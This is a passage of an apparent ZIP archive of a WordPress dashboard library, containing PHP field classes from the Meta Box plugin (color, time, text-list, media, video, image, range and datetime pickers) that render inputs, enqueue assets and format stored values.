		$attributes['type'] = 'text';

		if ( $field['alpha_channel'] ) {
			$attributes['data-alpha-enabled']    = 'true';
			$attributes['data-alpha-color-type'] = 'hex';
		}

		return $attributes;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		return sprintf( "<span style='display:inline-block;width:20px;height:20px;border-radius:50%%;background:%s;'></span>", $value );
	}
}
PK     0w\E)    *  dashboard/lib/meta-box/inc/fields/time.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The time picker field.
 */
class RWMB_Time_Field extends RWMB_Datetime_Field {
	public static function admin_enqueue_scripts() {
		parent::register_assets();
		wp_enqueue_style( 'jquery-ui-timepicker' );
		wp_enqueue_script( 'rwmb-time' );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field                             = parent::normalize( $field );
		$field['js_options']['timeFormat'] = empty( $field['format'] ) ? $field['js_options']['timeFormat'] : $field['format'];
		return $field;
	}

	/**
	 * Returns a date() compatible format string from the JavaScript format.
	 * @link http://www.php.net/manual/en/function.date.php
	 */
	protected static function get_php_format( array $js_options ): string {
		return strtr( $js_options['timeFormat'], self::$time_formats );
	}
}PK     0w\Qro  o  /  dashboard/lib/meta-box/inc/fields/text-list.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The text list field which allows users to enter multiple texts.
 */
class RWMB_Text_List_Field extends RWMB_Multiple_Values_Field {
	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-text-list', RWMB_CSS_URL . 'text-list.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-text-list', 'path', RWMB_CSS_DIR . 'text-list.css' );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		if ( empty( $field['options'] ) ) {
			return '';
		}
		$html  = [];
		$input = '<label><span class="rwmb-text-list-label">%s</span> <input %s></label>';

		$attributes         = self::get_attributes( $field, $meta );
		$attributes['type'] = 'text';

		$count = 0;
		foreach ( $field['options'] as $placeholder => $label ) {
			$attributes['value']       = $meta[ $count ] ?? '';
			$attributes['placeholder'] = $placeholder;

			$html[] = sprintf(
				$input,
				$label,
				self::render_attributes( $attributes )
			);
			$count ++;
		}

		return implode( ' ', $html );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		if ( ! $field['clone'] ) {
			$field['class'] .= ' rwmb-text_list-non-cloneable';
		}
		return $field;
	}

	/**
	 * Set value of meta before saving into database.
	 * Do not save if all inputs has no value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return mixed
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$filtered = array_filter( $new );
		return count( $filtered ) ? $new : [];
	}

	/**
	 * Format value for the helper functions.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_value( $field, $value, $args, $post_id ) {
		$output = '<table><thead><tr>';
		foreach ( $field['options'] as $label ) {
			$output .= "<th>$label</th>";
		}
		$output .= '</tr></thead><tbody>';

		if ( ! $field['clone'] ) {
			$output .= self::format_single_value( $field, $value, $args, $post_id );
		} else {
			foreach ( $value as $subvalue ) {
				$output .= self::format_single_value( $field, $subvalue, $args, $post_id );
			}
		}
		$output .= '</tbody></table>';
		return $output;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		$output = '<tr>';
		foreach ( $value as $subvalue ) {
			$output .= "<td>$subvalue</td>";
		}
		$output .= '</tr>';
		return $output;
	}
}
PK     0w\    +  dashboard/lib/meta-box/inc/fields/media.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Media field class which users WordPress media popup to upload and select files.
 */
class RWMB_Media_Field extends RWMB_File_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();

		wp_enqueue_media();
		if ( ! is_admin() ) {
			wp_register_script( 'media-grid', includes_url( 'js/media-grid.min.js' ), [ 'media-editor' ], '4.9.7', true );
		}
		wp_enqueue_style( 'rwmb-media', RWMB_CSS_URL . 'media.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-media', 'path', RWMB_CSS_DIR . 'media.css' );
		wp_enqueue_script( 'rwmb-media', RWMB_JS_URL . 'media.js', [ 'jquery-ui-sortable', 'underscore', 'backbone', 'media-grid' ], RWMB_VER, true );

		RWMB_Helpers_Field::localize_script_once( 'rwmb-media', 'i18nRwmbMedia', [
			'add'                => apply_filters( 'rwmb_media_add_string', _x( '+ Add Media', 'media', 'meta-box' ) ),
			'single'             => apply_filters( 'rwmb_media_single_files_string', _x( ' file', 'media', 'meta-box' ) ),
			'multiple'           => apply_filters( 'rwmb_media_multiple_files_string', _x( ' files', 'media', 'meta-box' ) ),
			'remove'             => apply_filters( 'rwmb_media_remove_string', _x( 'Remove', 'media', 'meta-box' ) ),
			'edit'               => apply_filters( 'rwmb_media_edit_string', _x( 'Edit', 'media', 'meta-box' ) ),
			'view'               => apply_filters( 'rwmb_media_view_string', _x( 'View', 'media', 'meta-box' ) ),
			'noTitle'            => _x( 'No Title', 'media', 'meta-box' ),
			'loadingUrl'         => admin_url( 'images/spinner.gif' ),
			'extensions'         => static::get_mime_extensions(),
			'select'             => apply_filters( 'rwmb_media_select_string', _x( 'Select Files', 'media', 'meta-box' ) ),
			'or'                 => apply_filters( 'rwmb_media_or_string', _x( 'or', 'media', 'meta-box' ) ),
			'uploadInstructions' => apply_filters( 'rwmb_media_upload_instructions_string', _x( 'Drop files here to upload', 'media', 'meta-box' ) ),
		] );
	}

	public static function add_actions() {
		add_action( 'print_media_templates', [ get_called_class(), 'print_templates' ] );
	}

	/**
	 * Get meta value.
	 *
	 * @param int   $post_id Post ID.
	 * @param bool  $saved   Whether the meta box is saved at least once.
	 * @param array $field   Field parameters.
	 *
	 * @return mixed
	 */
	public static function meta( $post_id, $saved, $field ) {
		$meta = parent::meta( $post_id, $saved, $field );

		/*
		 * Update meta cache for all attachments, preparing for getting data for rendering in JS.
		 * This reduces the number of queries for updating all attachments' meta.
		 * @see get_attributes()
		 */
		$ids = (array) $meta;
		if ( $field['clone'] ) {
			foreach ( $ids as &$value ) {
				$value = (array) $value;
			}
			$ids = call_user_func_array( 'array_merge', $ids );
		}
		update_meta_cache( 'post', $ids );

		return $meta;
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$attributes = static::get_attributes( $field, $meta );

		$html = sprintf(
			'<input %s data-options="%s">',
			self::render_attributes( $attributes ),
			esc_attr( wp_json_encode( $field['js_options'] ) )
		);

		return $html;
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = parent::normalize( $field );
		$field = wp_parse_args( $field, [
			'std'              => [],
			'mime_type'        => '',
			'max_file_uploads' => 0,
			'force_delete'     => false,
			'max_status'       => true,
			'js_options'       => [],
			'add_to'           => 'end',
		] );

		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'mimeType'    => $field['mime_type'],
			'maxFiles'    => $field['max_file_uploads'],
			'forceDelete' => $field['force_delete'],
			'maxStatus'   => $field['max_status'],
			'addTo'       => $field['add_to'],
		] );

		$field['multiple'] = true;

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field Field parameters.
	 * @param mixed $value Meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$value = (array) $value;

		$attributes           = parent::get_attributes( $field, $value );
		$attributes['type']   = 'hidden';
		$attributes['name']   = $field['clone'] ? str_replace( '[]', '', $attributes['name'] ) : $attributes['name'];
		$attributes['id']     = false;
		$attributes['value']  = implode( ',', $value );
		$attributes['class'] .= ' rwmb-media';

		// Add attachment details.
		$attachments                    = array_values( array_filter( array_map( 'wp_prepare_attachment_for_js', $value ) ) );
		$attributes['data-attachments'] = wp_json_encode( $attachments );

		if ( empty( $attachments ) ) {
			unset( $attributes['value'] );
		}

		return $attributes;
	}

	protected static function get_mime_extensions() : array {
		$mime_types = wp_get_mime_types();
		$extensions = [];
		foreach ( $mime_types as $ext => $mime ) {
			$ext                 = explode( '|', $ext );
			$extensions[ $mime ] = $ext;

			$mime_parts = explode( '/', $mime );
			if ( empty( $extensions[ $mime_parts[0] ] ) ) {
				$extensions[ $mime_parts[0] ] = [];
			}
			$extensions[ $mime_parts[0] ]        = array_merge( $extensions[ $mime_parts[0] ], $ext );
			$extensions[ $mime_parts[0] . '/*' ] = $extensions[ $mime_parts[0] ];
		}

		return $extensions;
	}

	/**
	 * Get meta values to save.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return array
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$new = wp_parse_id_list( $new );

		if ( empty( $new ) ) {
			return [];
		}

		// Attach the uploaded images to the post if needed.
		global $wpdb;
		$ids = implode( ',', $new );
		$wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_parent=%d WHERE post_parent=0 AND ID IN ($ids)", $post_id ) );

		return $new;
	}

	/**
	 * Save meta value.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 */
	public static function save( $new, $old, $post_id, $field ) {
		if ( empty( $field['id'] ) || ! $field['save_field'] ) {
			return;
		}
		$storage = $field['storage'];
		$storage->delete( $post_id, $field['id'] );
		parent::save( $new, [], $post_id, $field );
	}

	/**
	 * Template for media item.
	 */
	public static function print_templates() {
		require RWMB_INC_DIR . 'templates/media.php';
	}
}
PK     0w\k    +  dashboard/lib/meta-box/inc/fields/video.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * Video field which uses WordPress media popup to upload and select video.
 */
class RWMB_Video_Field extends RWMB_Media_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		wp_enqueue_style( 'rwmb-video', RWMB_CSS_URL . 'video.css', [ 'rwmb-media' ], RWMB_VER );
		wp_style_add_data( 'rwmb-video', 'path', RWMB_CSS_DIR . 'video.css' );
		wp_enqueue_script( 'rwmb-video', RWMB_JS_URL . 'video.js', [ 'rwmb-media' ], RWMB_VER, true );
		RWMB_Helpers_Field::localize_script_once( 'rwmb-video', 'i18nRwmbVideo', [
			'extensions' => wp_get_video_extensions(),
		] );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field['mime_type'] = 'video';
		$field              = parent::normalize( $field );

		return $field;
	}

	/**
	 * Get uploaded file information.
	 *
	 * @param int   $file_id Attachment image ID (post ID). Required.
	 * @param array $args    Array of arguments (for size).
	 * @param array $field   Field settings.
	 *
	 * @return array|bool False if file not found. Array of image info on success.
	 */
	public static function file_info( $file_id, $args = [], $field = [] ) {
		if ( ! get_attached_file( $file_id ) ) {
			return false;
		}
		$attachment = get_post( $file_id );
		$url        = wp_get_attachment_url( $attachment->ID );
		$file_type  = wp_check_filetype( $url, wp_get_mime_types() );
		$data       = [
			'ID'          => $file_id,
			'src'         => $url,
			'type'        => $file_type['type'],
			'title'       => $attachment->post_title,
			'caption'     => $attachment->post_excerpt,
			'description' => $attachment->post_content,
		];

		$data['meta'] = [];
		$meta         = wp_get_attachment_metadata( $attachment->ID );
		if ( ! empty( $meta ) ) {
			foreach ( wp_get_attachment_id3_keys( $attachment ) as $key => $label ) {
				if ( ! empty( $meta[ $key ] ) ) {
					$data['meta'][ $key ] = $meta[ $key ];
				}
			}

			if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
				$data['dimensions'] = [
					'width'  => $meta['width'],
					'height' => $meta['height'],
				];
			} else {
				$data['dimensions'] = [
					'width'  => 640,
					'height' => 360,
				];
			}
		}

		$thumb_id = get_post_thumbnail_id( $attachment->ID );
		if ( ! empty( $thumb_id ) ) {
			list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'full' );
			$data['image']                = compact( 'src', 'width', 'height' );
			list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'thumbnail' );
			$data['thumb']                = compact( 'src', 'width', 'height' );
		} else {
			$src           = wp_mime_type_icon( $attachment->ID );
			$width         = 48;
			$height        = 64;
			$data['image'] = compact( 'src', 'width', 'height' );
			$data['thumb'] = compact( 'src', 'width', 'height' );
		}

		return $data;
	}

	/**
	 * Format value for a clone.
	 *
	 * @param array        $field   Field parameters.
	 * @param string|array $value   The field meta value.
	 * @param array        $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null     $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_clone_value( $field, $value, $args, $post_id ) {
		$ids = implode( ',', wp_list_pluck( $value, 'ID' ) );

		// Display single video.
		if ( 1 === count( $value ) ) {
			$video = reset( $value );
			return wp_video_shortcode( [
				'src'    => $video['src'],
				'width'  => $video['dimensions']['width'],
				'height' => $video['dimensions']['height'],
			] );
		}

		// Display multiple videos in a playlist.
		return wp_playlist_shortcode( [
			'ids'  => $ids,
			'type' => 'video',
		] );
	}

	/**
	 * Template for media item.
	 */
	public static function print_templates() {
		parent::print_templates();
		require RWMB_INC_DIR . 'templates/video.php';
	}
}
PK     0w\)_*    +  dashboard/lib/meta-box/inc/fields/image.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The image field which uploads images via HTML <input type="file">.
 */
class RWMB_Image_Field extends RWMB_File_Field {
	public static function admin_enqueue_scripts() {
		parent::admin_enqueue_scripts();
		wp_enqueue_media();
		wp_enqueue_style( 'rwmb-image', RWMB_CSS_URL . 'image.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-image', 'path', RWMB_CSS_DIR . 'image.css' );
	}

	/**
	 * Get HTML for uploaded file.
	 *
	 * @param int   $file  Attachment (file) ID.
	 * @param int   $index File index.
	 * @param array $field Field data.
	 *
	 * @return string
	 */
	protected static function file_html( $file, $index, $field ) {
		$attributes = self::get_attributes( $field, $file );

		$edit_link = get_edit_post_link( $file );
		if ( $edit_link ) {
			$edit_link = sprintf( '<a href="%s" class="rwmb-image-edit" target="_blank"><span class="dashicons dashicons-edit"></span></a>', $edit_link );
		}

		$attachment_image = is_numeric( $file ) ? wp_get_attachment_image( $file, $field['image_size'] ) : '<img width="150" height="150" src="' . esc_url( $file ) . '" alt="" />';

		return sprintf(
			'<li class="rwmb-image-item">
				<div class="rwmb-file-icon">%s</div>
				<div class="rwmb-image-overlay"></div>
				<div class="rwmb-image-actions">
					%s
					<a href="#" class="rwmb-image-delete rwmb-file-delete" data-attachment_id="%s"><span class="dashicons dashicons-no-alt"></span></a>
				</div>
				<input type="hidden" name="%s[%s]" value="%s">
			</li>',
			$attachment_image,
			$edit_link,
			esc_attr( $file ),
			esc_attr( $attributes['name'] ),
			esc_attr( $index ),
			esc_attr( $file )
		);
	}

	/**
	 * Normalize field settings.
	 *
	 * @param array $field Field settings.
	 *
	 * @return array
	 */
	public static function normalize( $field ) {
		$field               = parent::normalize( $field );
		$field               = wp_parse_args( $field, [ 'image_size' => 'thumbnail' ] );
		$field['attributes'] = wp_parse_args( $field['attributes'], [ 'accept' => 'image/*' ] );

		return $field;
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param array    $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		$output = sprintf( '<img src="%s" alt="%s">', esc_url( $value['url'] ), esc_attr( $value['alt'] ) );

		// Link thumbnail to full size image?
		if ( ! empty( $args['link'] ) ) {
			$output = sprintf( '<a href="%s" title="%s">%s</a>', esc_url( $value['full_url'] ), esc_attr( $value['title'] ), $output );
		}
		return $output;
	}

	/**
	 * Get uploaded file information.
	 *
	 * @param int   $file  Attachment image ID (post ID). Required.
	 * @param array $args  Array of arguments (for size).
	 * @param array $field Field settings.
	 *
	 * @return array|bool False if file not found. Array of image info on success.
	 */
	public static function file_info( $file, $args = [], $field = [] ) {
		$path = get_attached_file( $file );
		if ( ! $path ) {
			return false;
		}

		$args  = wp_parse_args( $args, [ 'size' => 'thumbnail' ] );
		$image = wp_get_attachment_image_src( $file, $args['size'] );
		if ( ! $image ) {
			return false;
		}
		$attachment = get_post( $file );
		$info       = [
			'ID'          => $file,
			'name'        => basename( $path ),
			'path'        => $path,
			'url'         => $image[0],
			'full_url'    => wp_get_attachment_url( $file ),
			'title'       => $attachment->post_title,
			'caption'     => $attachment->post_excerpt,
			'description' => $attachment->post_content,
			'alt'         => get_post_meta( $file, '_wp_attachment_image_alt', true ),
		];
		if ( function_exists( 'wp_get_attachment_image_srcset' ) ) {
			$info['srcset'] = wp_get_attachment_image_srcset( $file, $args['size'] );
		}

		$info = wp_parse_args( $info, self::get_image_meta_data( $file ) );

		// Do not overwrite width and height by returned value of image meta.
		$info['width']  = $image[1];
		$info['height'] = $image[2];

		return $info;
	}

	/**
	 * Get image meta data.
	 *
	 * @param  int $attachment_id Attachment ID.
	 * @return array
	 */
	protected static function get_image_meta_data( $attachment_id ) {
		$metadata = wp_get_attachment_metadata( $attachment_id );
		if ( empty( $metadata['sizes'] ) ) {
			return $metadata;
		}

		$dir_url = dirname( wp_get_attachment_url( $attachment_id ) );
		foreach ( $metadata['sizes'] as &$size ) {
			$size['url'] = "{$dir_url}/{$size['file']}";
		}
		return $metadata;
	}
}
PK     0w\Q    +  dashboard/lib/meta-box/inc/fields/range.phpnu [        <?php
defined( 'ABSPATH' ) || die;

/**
 * The HTML5 range field.
 */
class RWMB_Range_Field extends RWMB_Number_Field {
	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  Meta value.
	 * @param array $field Field parameters.
	 * @return string
	 */
	public static function html( $meta, $field ) {
		return sprintf(
			'<div class="rwmb-range-inner">
				%s
				<span class="rwmb-range-output">%s</span>
			</div>',
			parent::html( $meta, $field ),
			$meta
		);
	}

	public static function admin_enqueue_scripts() {
		wp_enqueue_style( 'rwmb-range', RWMB_CSS_URL . 'range.css', [], RWMB_VER );
		wp_style_add_data( 'rwmb-range', 'path', RWMB_CSS_DIR . 'range.css' );
		wp_enqueue_script( 'rwmb-range', RWMB_JS_URL . 'range.js', [], RWMB_VER, true );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field Field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'max' => 10,
		] );
		$field = parent::normalize( $field );
		return $field;
	}

	/**
	 * Ensure number in range.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return int
	 */
	public static function value( $new, $old, $post_id, $field ) {
		$new = (float) $new;
		$min = (float) $field['min'];
		$max = (float) $field['max'];

		if ( $new < $min ) {
			return $min;
		}
		if ( $new > $max ) {
			return $max;
		}
		return $new;
	}
}
PK     0w\2:'  :'  .  dashboard/lib/meta-box/inc/fields/datetime.phpnu [        <?php
defined( 'ABSPATH' ) || die;

use MetaBox\Support\Arr;

/**
 * The date and time picker field which allows users to select both date and time via jQueryUI datetime picker.
 */
class RWMB_Datetime_Field extends RWMB_Input_Field {
	/**
	 * Translate date format from jQuery UI date picker to PHP date().
	 * It's used to store timestamp value of the field.
	 * Missing:  '!' => '', 'oo' => '', '@' => '', "''" => "'".
	 *
	 * @var array
	 */
	protected static $date_formats = [
		'd'  => 'j',
		'dd' => 'd',
		'oo' => 'z',
		'D'  => 'D',
		'DD' => 'l',
		'm'  => 'n',
		'mm' => 'm',
		'M'  => 'M',
		'MM' => 'F',
		'y'  => 'y',
		'yy' => 'Y',
		'o'  => 'z',
	];

	/**
	 * Translate time format from jQuery UI time picker to PHP date().
	 * It's used to store timestamp value of the field.
	 * Missing: 't' => '', T' => '', 'm' => '', 's' => ''.
	 *
	 * @var array
	 */
	protected static $time_formats = [
		'H'  => 'G',
		'HH' => 'H',
		'h'  => 'g',
		'hh' => 'h',
		'mm' => 'i',
		'ss' => 's',
		'l'  => 'u',
		'tt' => 'a',
		'TT' => 'A',
	];

	public static function register_assets() {
		// jQueryUI base theme: https://github.com/jquery/jquery-ui/tree/1.13.2/themes/base
		$url = RWMB_CSS_URL . 'jqueryui';
		wp_register_style( 'jquery-ui-core', "$url/core.css", [], '1.13.2' );
		wp_style_add_data( 'jquery-ui-core', 'path', RWMB_CSS_DIR . 'jqueryui/core.css' );

		wp_register_style( 'jquery-ui-theme', "$url/theme.css", [], '1.13.2' );
		wp_style_add_data( 'jquery-ui-theme', 'path', RWMB_CSS_DIR . 'jqueryui/theme.css' );

		wp_register_style( 'jquery-ui-datepicker', "$url/datepicker.css", [ 'jquery-ui-core', 'jquery-ui-theme' ], '1.13.2' );
		wp_style_add_data( 'jquery-ui-datepicker', 'path', RWMB_CSS_DIR . 'jqueryui/datepicker.css' );

		wp_register_style( 'jquery-ui-slider', "$url/slider.css", [ 'jquery-ui-core', 'jquery-ui-theme' ], '1.13.2' );
		wp_style_add_data( 'jquery-ui-slider', 'path', RWMB_CSS_DIR . 'jqueryui/slider.css' );

		// jQueryUI timepicker addon: https://github.com/trentrichardson/jQuery-Timepicker-Addon
		wp_register_style( 'jquery-ui-timepicker', "$url/jquery-ui-timepicker-addon.min.css", [ 'rwmb-date', 'jquery-ui-slider' ], '1.6.3' );
		wp_style_add_data( 'jquery-ui-timepicker', 'path', RWMB_CSS_DIR . 'jqueryui/jquery-ui-timepicker-addon.min.css' );

		wp_register_style( 'rwmb-date', RWMB_CSS_URL . 'date.css', [ 'jquery-ui-datepicker' ], RWMB_VER );
		wp_style_add_data( 'rwmb-date', 'path', RWMB_CSS_DIR . 'date.css' );

		// Scripts.
		$url = RWMB_JS_URL . 'jqueryui';
		wp_register_script( 'jquery-ui-timepicker', "$url/jquery-ui-timepicker-addon.min.js", [ 'jquery-ui-datepicker', 'jquery-ui-slider' ], '1.6.3', true );
		wp_register_script( 'jquery-ui-timepicker-slider', "$url/jquery-ui-sliderAccess.js", [ 'jquery-ui-datepicker', 'jquery-ui-slider' ], '0.3', true );
		wp_register_script( 'jquery-ui-timepicker-i18n', "$url/jquery-ui-timepicker-addon-i18n.min.js", [ 'jquery-ui-timepicker' ], '1.6.3', true );

		wp_register_script( 'rwmb-datetime', RWMB_JS_URL . 'datetime.js', [ 'jquery-ui-datepicker', 'jquery-ui-timepicker-i18n', 'underscore', 'jquery-ui-button', 'jquery-ui-timepicker-slider', 'rwmb' ], RWMB_VER, true );
		wp_register_script( 'rwmb-date', RWMB_JS_URL . 'date.js', [ 'jquery-ui-datepicker', 'underscore', 'rwmb' ], RWMB_VER, true );
		wp_register_script( 'rwmb-time', RWMB_JS_URL . 'time.js', [ 'jquery-ui-timepicker-i18n', 'jquery-ui-button', 'jquery-ui-timepicker-slider', 'rwmb' ], RWMB_VER, true );

		$handles      = [ 'datetime', 'time' ];
		$locale       = str_replace( '_', '-', get_locale() );
		$locale_short = substr( $locale, 0, 2 );
		$data         = [
			'locale'      => $locale,
			'localeShort' => $locale_short,
		];
		foreach ( $handles as $handle ) {
			RWMB_Helpers_Field::localize_script_once( "rwmb-$handle", 'RWMB_' . ucfirst( $handle ), $data );
		}
	}

	/**
	 * Enqueue scripts and styles.
	 */
	public static function admin_enqueue_scripts() {
		self::register_assets();
		wp_enqueue_style( 'jquery-ui-timepicker' );
		wp_enqueue_script( 'rwmb-datetime' );
	}

	/**
	 * Get field HTML.
	 *
	 * @param mixed $meta  The field meta value.
	 * @param array $field The field parameters.
	 *
	 * @return string
	 */
	public static function html( $meta, $field ) {
		$output = '';

		if ( $field['timestamp'] ) {
			$name      = $field['field_name'];
			$field     = wp_parse_args( [ 'field_name' => $name . '[formatted]' ], $field );
			$timestamp = $meta['timestamp'] ?? 0;
			$output   .= sprintf(
				'<input type="hidden" name="%s" class="rwmb-datetime-timestamp" value="%s">',
				esc_attr( $name . '[timestamp]' ),
				(int) $timestamp
			);

			$meta = $meta['formatted'] ?? '';
		}

		$output .= parent::html( $meta, $field );

		if ( $field['inline'] ) {
			$output .= '<div class="rwmb-datetime-inline"></div>';
		}

		return $output;
	}

	/**
	 * Calculates the timestamp from the datetime string and returns it if $field['timestamp'] is set or the datetime string if not.
	 *
	 * @param mixed $new     The submitted meta value.
	 * @param mixed $old     The existing meta value.
	 * @param int   $post_id The post ID.
	 * @param array $field   The field parameters.
	 *
	 * @return string|int
	 */
	public static function value( $new, $old, $post_id, $field ) {
		if ( $field['timestamp'] ) {
			if ( is_array( $new ) ) {
				return $new['timestamp'];
			}
			if ( ! is_numeric( $new ) ) {
				return strtotime( $new );
			}
			return $new;
		}

		if ( $field['save_format'] ) {
			// Fix 'c' and 'r' formats not containing WordPress timezone.
			$timezone = in_array( $field['save_format'], [ 'c', 'r' ], true ) ? wp_timezone() : null;
			$date     = DateTimeImmutable::createFromFormat( $field['php_format'], $new, $timezone );
			return $date === false ? $new : $date->format( $field['save_format'] );
		}

		return $new;
	}

	/**
	 * Get meta value.
	 *
	 * @param int   $post_id The post ID.
	 * @param bool  $saved   Whether the meta box is saved at least once.
	 * @param array $field   The field parameters.
	 *
	 * @return mixed
	 */
	public static function meta( $post_id, $saved, $field ) {
		$meta = parent::meta( $post_id, $saved, $field );

		if ( $field['timestamp'] ) {
			return Arr::map( $meta, __CLASS__ . '::from_timestamp', $field );
		}

		if ( $field['save_format'] && $meta ) {
			return Arr::map( $meta, __CLASS__ . '::from_save_format', $field );
		}

		return $meta;
	}

	/**
	 * Format meta value if set 'timestamp'.
	 */
	public static function from_timestamp( $meta, array $field ): array {
		return [
			'timestamp' => $meta ?: null,
			'formatted' => $meta ? gmdate( $field['php_format'], intval( $meta ) ) : '',
		];
	}

	/**
	 * Transform meta value from save format to the JS format.
	 */
	public static function from_save_format( $meta, array $field ): string {
		$formats = array_merge(
			[
				$field['save_format'] => $field['save_format'],
			],
			[
				'c' => DateTimeInterface::ATOM,
				'r' => DateTimeInterface::RFC2822,
			]
		);
		$format  = $formats[ $field['save_format'] ];
		$date    = DateTimeImmutable::createFromFormat( $format, $meta );
		return false === $date ? $meta : $date->format( $field['php_format'] );
	}

	/**
	 * Normalize parameters for field.
	 *
	 * @param array $field The field parameters.
	 * @return array
	 */
	public static function normalize( $field ) {
		$field = wp_parse_args( $field, [
			'timestamp'    => false,
			'inline'       => false,
			'js_options'   => [],
			'save_format'  => '',
			'autocomplete' => 'off',
		] );

		// Deprecate 'format', but keep it for backward compatible.
		// Use 'js_options' instead.
		$field['js_options'] = wp_parse_args( $field['js_options'], [
			'timeFormat'       => 'HH:mm',
			'separator'        => ' ',
			'dateFormat'       => $field['format'] ?? 'yy-mm-dd',
			'showButtonPanel'  => true,
			'changeYear'       => true,
			'yearRange'        => '-100:+100',
			'changeMonth'      => true,
			'oneLine'          => true,
			'controlType'      => 'select', // select or slider
			'addSliderAccess'  => true,
			'sliderAccessArgs' => [
				'touchonly' => true, // To show sliderAccess only on touch devices
			],
		] );

		if ( $field['inline'] ) {
			$field['js_options'] = wp_parse_args( $field['js_options'], [ 'altFieldTimeOnly' => false ] );
		}

		$field['php_format'] = static::get_php_format( $field['js_options'] );

		$field = parent::normalize( $field );

		return $field;
	}

	/**
	 * Get the attributes for a field.
	 *
	 * @param array $field The field parameters.
	 * @param mixed $value The meta value.
	 *
	 * @return array
	 */
	public static function get_attributes( $field, $value = null ) {
		$attributes         = parent::get_attributes( $field, $value );
		$attributes         = wp_parse_args( $attributes, [ 'data-options' => wp_json_encode( $field['js_options'] ) ] );
		$attributes['type'] = 'text';

		return $attributes;
	}

	/**
	 * Returns a date() compatible format string from the JavaScript format.
	 * @link http://www.php.net/manual/en/function.date.php
	 */
	protected static function get_php_format( array $js_options ): string {
		return strtr( $js_options['dateFormat'], self::$date_formats )
		. $js_options['separator']
		. strtr( $js_options['timeFormat'], self::$time_formats );
	}

	/**
	 * Format a single value for the helper functions. Sub-fields should overwrite this method if necessary.
	 *
	 * @param array    $field   Field parameters.
	 * @param string   $value   The value.
	 * @param array    $args    Additional arguments. Rarely used. See specific fields for details.
	 * @param int|null $post_id Post ID. null for current post. Optional.
	 *
	 * @return string
	 */
	public static function format_single_value( $field, $value, $args, $post_id ) {
		if ( $field['timestamp'] ) {
			$value = self::from_timestamp( $value, $field );
		} else {
			$value = [
				'timestamp' => strtotime( $value ),
				'formatted' => $value,
			];
		}
